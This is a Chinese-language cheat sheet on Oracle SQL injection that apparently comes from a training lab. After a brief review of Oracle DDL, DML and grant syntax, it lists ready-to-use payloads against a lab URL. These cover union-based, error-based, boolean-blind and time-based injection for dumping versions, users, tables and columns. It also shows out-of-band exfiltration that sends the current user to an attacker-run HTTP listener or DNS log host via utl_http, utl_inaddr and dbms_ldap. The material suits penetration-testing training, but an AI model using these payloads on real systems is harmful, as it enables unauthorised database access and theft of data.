Oracle SQL注入的实例总结

创建表

create table 表名(字段名称 类型 约束)

create table ichunqiu( name char (10) primary key ,age int )

增加列

alter table 表名 add (字段名称, 数据类型)

alter table ichunqiu add (class_name varchar2(200))

删除表中一列

alter table 表名 set unused column 列名

alter table ichunqiu set unused column name

修改表字段

alter table 表名 modify (字段名称 新的字段类型)

alter table ichunqiu modify ( name varchar (200))

**查询**

select *|列名|表达式 from 表名 where 条件 order by 列名

select * from ichunqiu order by age desc   (降序)

select * from ichunqiu order by age asc    (升序)

select * from ichunqiu order by age       (默认就是升序)

**插入**

insert into 表名 values (所有字段对应值)

insert into 表名 (字段名1,字段名2,字段名3,...) values (字段对应值)

insert into ichunqiu( name ,age) values ( 'icq' ,18)

insert into ichunqiu values ( 'icq' ,18, 'web' )

**更新**

update 表名 set 字段名称 = 值 where 更新条件

update ichunqiu set age=25 where name = 'icq'

**删除**

delete 表名 where 条件

delete ichunqiu where name = 'ii'

sql> grant connect ,resource,dba to 用户名1[,用户名2]...;

sql> create user user50 identified by user50;

sql> grant connect ,resource to user50;

grant select , insert , update on tablename to usera;            --赋权给用户: usera

grant select , insert , update on tablename to public :          --赋权给所有用户

grant select , update on product to usera with grant option ;   --usera得到权限,并可以传递

revoke select insert , update on tablename from usera;         --收回给予的权限从用户

usera revoke select , insert , update on tablename from public ; --收回给予的权限从所有用户

**1.判断是否存在注入**

http://172.16.12.2:81/orcl.php?id=1 ' " and 1=1 and ' 1 '=' 1 ' or ' 1 '=' 1 '

**2.判断字段数**

当前表有4个字段

id=1 order by 4--  

**3.联合查询找回显位**

oracle 数据库查询需要 from dual (虚表/伪表) 专为查询语句设置的表

union select * from dual--

id=1 union select 1,2,3,4 from dual--

null代替所有类型

id=1 union select null,null,null,null from dual--

id=1 union select 1,' admin ',3,4 from dual--

**4.查询数据库版本、数据库连接用户、当前实例名**

id=1 union select 1,(select banner from sys.v_$version where rownum=1),3,4 from dual--

id=1 union select 1,(select sys_context(' userenv ',' current_user ') from dual),3,4 from dual-- #test

id=-1 union select 1,(select instance_name from v$instance),3,4 from dual--

**5.遍历数据库名**

id=-1 union select 1,(select owner from all_tables where rownum=1),3,4 from dual--

id=-1 union select 1,(select owner from all_tables where rownum=1 and owner not in (' sys ')),3,4 from dual--

id=-1 union select 1,(select owner from all_tables where rownum=1 and owner not in(' sys ',' outln ',' system ')),3,4 from dual--

**6.遍历表名**

id=-1 union select 1,(select table_name from user_tables where rownum=1 and table_name not in (' admin1 ',' demo ',' flag ',' ichunqiu ',' stu ')),3,4 from dual--

**7.遍历flag表字段名**

id=-1 union select 1,(select column_name from user_tab_columns where rownum=1 and table_name=' flag ' and column_name not in (' id ',' name ',' pwd ',' flag ')),3,4 from dual--

**8.查询表字段数据**

id=-1 union select 1,(select name||age from demo where rownum=1),3,4 from dual--

id=-1 union select 1,(select "name"||"age" from demo where rownum=1),3,4 from dual--

id=-1 union select 1,(select ' username: '||name||' age:'||age from demo where rownum=1),3,4 from dual --

and ( select dbms_xdb_version.checkin(( select user from dual)) from dual) is not null --

and ( select dbms_xdb_version.uncheckout(( select user from dual)) from dual) is not null --

and utl_inaddr.get_host_name(( select user from dual))=1 --

**1.判断是否存在注入**

http://172.16.12.2:81/orcl.php?id=1 ' " and 1=1 and ' 1 '=' 1 ' or ' 1 '=' 1 '

2.**查询数据库版本、数据库连接用户、当前实例名**

id=1 and dbms_xdb_version.checkin((select banner from sys.v_$version where rownum=1)) is not null--

id=1 and dbms_xdb_version.checkin((select sys_context(' userenv ',' current_user ') from dual)) is not null--

id=1 and dbms_xdb_version.checkin((select instance_name from v$instance)) is not null--

2.**遍历获取数据库名**

id=1 and dbms_xdb_version.checkin((select owner from all_tables where rownum=1)) is not null--

id=1 and dbms_xdb_version.checkin((select owner from all_tables where rownum=1 and owner not in (' sys '))) is not null--

3.**遍历获取表名**

id=1 and dbms_xdb_version.checkin((select table_name from user_tables where rownum=1)) is not null--

id=1 and dbms_xdb_version.checkin((select table_name from user_tables where rownum=1 and table_name not in (' admin1 ',' demo '))) is not null--

**4.遍历获取字段名**

id=1 and dbms_xdb_version.checkin((select column_name from user_tab_columns where rownum=1 and table_name=' flag ' and column_name not in (' id ',' name ',' pwd ',' flag '))) is not null--

5.**查询表字段数据**

id=1 and dbms_xdb_version.checkin((select name||age from demo where rownum=1)) is not null--

id=1 and dbms_xdb_version.checkin((select "name"||"age" from demo where rownum=1)) is not null--

id=1 and dbms_xdb_version.checkin((select ' username: '||name||' age:'||age from demo where rownum=1)) is not null --

and1=( select decode(substr(( select banner from sys.v_$version where rownum=1),1,1), 'o' , 1, 0) from dual --

and1=(instr(( select user from dual), 't' )) --

**1.判断注入**

http://172.16.12.2:81/orcl.php?id=1 ' " and 1=1 and ' 1 '=' 1 ' or ' 1 '=' 1 '

2.**查询数据库版本/用户**

decode decode(substr((' abc '),1,1),' a ',1,0)

length 返回字符串长度

ascii  返回字符的ascii码

instr  搜索指定结果内是否包含关键字 存在返回1 否则返回0

id=1 and 1=(select decode(substr((select banner from sys.v_$version where rownum=1),1,1),' o ',1,0) from dual)--

id=1 and (select length(user) from dual)=4--

id=1 and (select ascii(' a ') from dual)=97--

id=1 and (select ascii(substr((select user from dual),1,1)) from dual)=84-- #ascii码判断字符 t

id=1 and (select ascii(substr((select user from dual),2,1)) from dual)=69-- #ascii码判断字符 e

id=1 and 1=(instr((select user from dual),' t '))--

id=1 and 1=(instr((select user from dual),' te '))--

id=1 and 1=(instr((select user from dual),' tes '))--

id=1 and 1=(instr((select user from dual),' test '))--

**3.获取库名**

id=1 and (select length(owner) from all_tables where rownum=1)=3-- #第一个库名长度为3

id=1 and (select ascii(substr((select owner from all_tables where rownum=1),1,1)) from dual)=83--

#ascii为83 s

id=1 and (select ascii(substr((select owner from all_tables where rownum=1),2,1)) from dual)=89--

#ascii为89 y

id=1 and (select ascii(substr((select owner from all_tables where rownum=1),3,1)) from dual)=83--

#ascii为83 s

**4.获取表名**

id=1 and (select ascii(substr((select table_name from user_tables where rownum=1),1,1)) from dual)=105-- 第一个表名的第一个字符是i

id=1 and (select ascii(substr((select table_name from user_tables where rownum=1),2,1)) from dual)=99-- 第一个表名的第二个字符是c

**5.获取字段名**

id=1 and (select ascii(substr((select column_name from user_tab_columns where rownum=1 and table_name=' icq '),1,1)) from dual)=117-- icq表内的第一个字段的第一个字符u

id=1 and (select ascii(substr((select column_name from user_tab_columns where rownum=1 and table_name=' icq'),2,1)) from dual)=115 -- icq表内的第一个字段的第二个字符s

and dbms_pipe.receive_message( 'icq' ,5)=1

id=1 and dbms_pipe.receive_message((), 5)=1

id=1 and ( select decode(substr(( select banner from sys.v_$version where rownum=1),1,1), 'o' , dbms_pipe.receive_message( 'icq' , 5),0) from dual)=1 --

截取数据库版本第一个字符为o就延时5s

id=1 and ( select decode(length( user ),4,dbms_pipe.receive_message( 'icq' , 5),0) from dual)=1 --

用户名长度为4 就延时5s

select utl_http.request( 'http://www.baidu.com' ) from dual

and (selectutl_inaddr.get_host_address(( select user from dual)|| '.aaa.com(自己搭建dnslog)' ) from dual) is not null --

and ( select sys.dbms_ldap.init(( select userfrom dual)|| '.aaaa.com(自己搭建dnslog)' ) from dual) is notnull --

select count (*) from allobjects where object name = 'utl_http'

# 发送请求，获得当前用户名

id=1 and utl_http.request( 'http://ip:监听端口/' ||( select user from dual))=1 --

# 判断utl_http是否可用

id=1 and exists ( select count (*) from all_objects where object_name= 'utl_http' ) --

id=1 and ( select count (*) from all_objects where object_name= 'utl_http' )>1 --

id=1 union select 1, null ,3,( select count (*) from all_objects where object_name= 'utl_http' ) from dual --

# 发送请求，获得当前用户名

id=1 and utl_http.request( 'http://ip:监听端口/' ||( select user from dual))=1 --